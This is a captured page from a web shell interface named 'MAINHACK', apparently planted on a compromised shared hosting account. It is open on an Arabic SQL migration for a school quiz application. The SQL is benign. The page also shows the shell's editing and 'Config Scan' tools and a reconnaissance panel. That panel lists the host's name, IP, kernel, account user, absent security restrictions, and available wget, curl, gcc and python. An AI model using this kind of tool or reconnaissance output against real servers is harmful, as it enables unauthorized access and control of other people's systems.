[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 20251001074606_navy_island.sql
-- إصلاح إدارة الفصول وإضافة الأسئلة المقالية -- إضافة جدول قوائم الفصول إذا لم يكن موجوداً CREATE TABLE IF NOT EXISTS class_lists ( id INT PRIMARY KEY AUTO_INCREMENT, teacher_id INT NOT NULL, grade_id INT NOT NULL, class_name VARCHAR(200) NOT NULL, gender_type ENUM('mixed', 'boys', 'girls') DEFAULT 'mixed', created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY (teacher_id) REFERENCES users(id) ON DELETE CASCADE, FOREIGN KEY (grade_id) REFERENCES grades(id) ON DELETE CASCADE ); -- تحديث جدول قوائم الطلاب لإضافة معرف الفصل إذا لم يكن موجوداً ALTER TABLE student_lists ADD COLUMN IF NOT EXISTS class_id INT DEFAULT NULL AFTER grade_id; -- إضافة المفتاح الخارجي إذا لم يكن موجوداً SET @constraint_exists = (SELECT COUNT(*) FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_NAME = 'student_lists' AND COLUMN_NAME = 'class_id' AND CONSTRAINT_NAME LIKE 'student_lists_ibfk%'); SET @sql = IF(@constraint_exists = 0, 'ALTER TABLE student_lists ADD FOREIGN KEY (class_id) REFERENCES class_lists(id) ON DELETE CASCADE', 'SELECT "Foreign key already exists"'); PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; -- إنشاء فصول افتراضية للطلاب الموجودين بدون فصول INSERT IGNORE INTO class_lists (teacher_id, grade_id, class_name, gender_type) SELECT DISTINCT sl.teacher_id, sl.grade_id, CONCAT('الفصل الافتراضي - ', (SELECT name FROM grades WHERE id = sl.grade_id)), 'mixed' FROM student_lists sl WHERE sl.class_id IS NULL; -- ربط الطلاب الموجودين بالفصول الافتراضية UPDATE student_lists sl SET class_id = ( SELECT cl.id FROM class_lists cl WHERE cl.teacher_id = sl.teacher_id AND cl.grade_id = sl.grade_id AND cl.class_name LIKE 'الفصل الافتراضي%' LIMIT 1 ) WHERE class_id IS NULL; -- إضافة فصول تجريبية للمعلم التجريبي INSERT IGNORE INTO class_lists (teacher_id, grade_id, class_name, gender_type) VALUES ((SELECT id FROM users WHERE username = 'teacher1' LIMIT 1), 1, 'الصف الأول أ', 'mixed'), ((SELECT id FROM users WHERE username = 'teacher1' LIMIT 1), 1, 'الصف الأول ب', 'boys'), ((SELECT id FROM users WHERE username = 'teacher1' LIMIT 1), 1, 'الصف الأول ج', 'girls'), ((SELECT id FROM users WHERE username = 'teacher1' LIMIT 1), 2, 'الصف الثاني أ', 'mixed'), ((SELECT id FROM users WHERE username = 'teacher1' LIMIT 1), 2, 'الصف الثاني ب', 'mixed'); -- إضافة طلاب تجريبيين للفصول الجديدة INSERT IGNORE INTO student_lists (teacher_id, grade_id, class_id, student_name) SELECT (SELECT id FROM users WHERE username = 'teacher1' LIMIT 1), 1, (SELECT id FROM class_lists WHERE class_name = 'الصف الأول ب' AND teacher_id = (SELECT id FROM users WHERE username = 'teacher1' LIMIT 1) LIMIT 1), student_name FROM ( SELECT 'أحمد محمد علي' as student_name UNION SELECT 'محمد عبدالله الأحمد' UNION SELECT 'عبدالرحمن خالد العتيبي' UNION SELECT 'يوسف عبدالله الشهري' UNION SELECT 'عمر أحمد الحربي' UNION SELECT 'سعد محمد الزهراني' ) AS boys_students; INSERT IGNORE INTO student_lists (teacher_id, grade_id, class_id, student_name) SELECT (SELECT id FROM users WHERE username = 'teacher1' LIMIT 1), 1, (SELECT id FROM class_lists WHERE class_name = 'الصف الأول ج' AND teacher_id = (SELECT id FROM users WHERE username = 'teacher1' LIMIT 1) LIMIT 1), student_name FROM ( SELECT 'فاطمة أحمد السالم' as student_name UNION SELECT 'نورا سعد المطيري' UNION SELECT 'مريم عبدالعزيز القحطاني' UNION SELECT 'سارة محمد الغامدي' UNION SELECT 'هند سعود العنزي' UNION SELECT 'نوف عبدالله الشمري' ) AS girls_students; -- إضافة أسئلة مقالية تجريبية INSERT IGNORE INTO group_questions (competition_id, question_text, answer1, answer2, answer3, answer4, correct_answer, card_type, question_type) SELECT c.id, 'اشرح أهمية التعليم في بناء المجتمع؟', 'إجابة مفتوحة', 'إجابة مفتوحة', 'إجابة مفتوحة', 'إجابة مفتوحة', 1, 'question', 'essay' FROM competitions c WHERE c.competition_type = 'group' LIMIT 1; INSERT IGNORE INTO group_questions (competition_id, question_text, answer1, answer2, answer3, answer4, correct_answer, card_type, question_type) SELECT c.id, 'ما هي فوائد القراءة؟ اذكر ثلاث فوائد على الأقل.', 'إجابة مفتوحة', 'إجابة مفتوحة', 'إجابة مفتوحة', 'إجابة مفتوحة', 1, 'question', 'essay' FROM competitions c WHERE c.competition_type = 'group' LIMIT 1;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285